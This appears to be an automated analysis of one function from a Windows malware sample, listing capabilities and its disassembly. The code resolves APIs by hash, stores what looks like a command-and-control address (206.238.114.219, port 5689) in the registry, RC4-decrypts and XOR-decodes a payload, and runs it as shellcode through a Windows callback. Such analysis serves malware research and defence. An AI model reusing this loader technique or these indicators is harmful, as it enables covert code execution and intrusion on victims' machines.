Function at 0x140004388
Capabilities:
Allocate or change rwx memory
Delete registry value
Encode data using xor
Encrypt data using rc4 via systemfunction033
Execute shellcode via indirect call
Execute shellcode via windows callback function
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x68]
sub rsp, 0x168
lea rcx, [0x1400c6b60]
call fcn.140004840
mov ecx, 0x97410f58
call fcn.1400040dc
mov ecx, 0xd5206133
mov r14, rax
call fcn.1400040dc
mov ecx, 0x3a2fe6bb
mov rbx, rax
call fcn.1400040dc
mov r13d, 0xef64a41e
mov rdi, rax
mov ecx, r13d
call fcn.1400040dc
xor r15d, r15d
mov ecx, 0xcb9765a0
mov qword [rbp + 0xc0], r15
mov rsi, rax
call fcn.1400040dc
lea r8d, [r15 + 0x40]
mov dword [rbp + 0xb0], r15d
lea r9, [rbp + 0xb0]
mov qword [0x1400c6b70], rax
mov rcx, rax
lea r15d, [r8 - 0x34]
mov edx, r15d
call rsi
call rdi
mov rdx, qword [0x1400c6b70]
lea r8, [0x1400c6b78]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
call rbx
lea rax, [0x1400041d8]
mov qword [0x1400c6b62], rax
call rdi
mov rdx, qword [0x1400c6b70]
lea r8, [0x1400c6b60]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
call r14
mov r8d, dword [rbp + 0xb0]
lea r9, [rbp + 0xb0]
mov rcx, qword [0x1400c6b70]
mov edx, r15d
call rsi
mov ecx, 0x1ede5967
call fcn.1400040dc
mov ecx, r13d
mov qword [rbp + 0xc0], rax
mov r12, rax
call fcn.1400040dc
mov ebx, 0x104
mov qword [rbp + 0xc8], rax
mov r8d, ebx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r13, rax
call fcn.140007e50
mov r8d, ebx
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [0x140038558]
mov r9d, 0x20006
movsd xmm0, qword [str.SelfPath]
xor r8d, r8d
mov cl, byte [0x140038548]
mov word [rsp + 0x38], ax
mov al, byte [0x14003855a]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0xb0]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x48], cl
movsd qword [rsp + 0x30], xmm0
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r15d, r15d
test eax, eax
jne 0x1400045de
mov rcx, qword [rbp + 0xb0]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xb0]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xb0]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], ebx
lea r9d, [r15 + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:206.238.114.219p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r15w
jne 0x1400045a1
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, r15
mov rdi, r15
mov qword [rbp + 0xb0], rbx
movabs rax, 0x97b425ed097b425f
mul rdi
shr rdx, 4
imul rcx, rdx, 0x1b
cmp rdi, rcx
jne 0x140004625
lea rdx, [0x14003dbe0]
mov rcx, rbx
add rdx, rdi
mov r8d, dword [rdx + 0x17]
call fcn.140003af4
mov rbx, rax
mov qword [rbp + 0xb0], rax
inc rdi
cmp rdi, 0x8710e
jb 0x1400045eb
test rbx, rbx
je 0x14000464c
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call fcn.140003bf8
mov rbx, qword [rbp + 0xb0]
mov edx, 0x16
mov rdi, rbx
mov r14, r15
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rbx, rbx
je 0x1400046c7
movups xmm0, xmmword [rdi]
mov r12d, dword [rdi + 0x10]
add r14, 0x16
movzx r13d, word [rdi + 0x14]
movups xmmword [rsp + 0x30], xmm0
test rsi, rsi
je 0x1400046ad
mov r8d, 0x42
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
movups xmm0, xmmword [rsp + 0x30]
mov rsi, rax
movups xmmword [rax + r14 - 0x16], xmm0
mov dword [rax + r14 - 6], r12d
mov word [rax + r14 - 2], r13w
mov rdi, qword [rdi + 0x20]
inc r15d
test rdi, rdi
jne 0x140004668
mov r12, qword [rbp + 0xc0]
mov r13, qword [rbp + 0xc8]
mov rdi, qword [rbx + 0x20]
imul r14d, r15d, 0x16
xor r15d, r15d
jmp 0x1400046ef
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, rdi
mov rdi, qword [rdi + 0x20]
test rdi, rdi
jne 0x1400046d4
test rsi, rsi
je 0x140004810
cmp r14, 0x8710e
jae 0x140004810
mov edi, 4
mov r8d, 0x3000
mov r9d, edi
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.1400079f0
mov r9d, edi
mov r8d, 0x1000
mov edi, 0x6e0d1
xor ecx, ecx
mov edx, edi
call r12
lea rcx, str.advapi32
mov qword [0x1400c6b88], rax
mov rsi, rax
mov dword [0x1400c6b6c], edi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SystemFunction033
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.wzkwg1w8.v04wj79r.xec
mov dword [0x1400c6ba0], 0x10
mov qword [0x1400c6ba8], rcx
lea rdx, [0x1400c6ba0]
lea rcx, [0x1400c6b90]
mov qword [0x1400c6b98], rbx
mov dword [0x1400c6b90], edi
call rax
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call fcn.1400079f0
lea r9, [rbp + 0xb8]
mov dword [rbp + 0xb8], r15d
mov r8d, 0x40
mov edx, edi
mov rcx, rsi
call r13
mov rax, rsi
xor byte [rax], 0x55
inc rax
sub rdi, 1
jne 0x1400047d8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x140004809
call fcn.140003f10
call fcn.140001b84
jmp 0x140004809
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]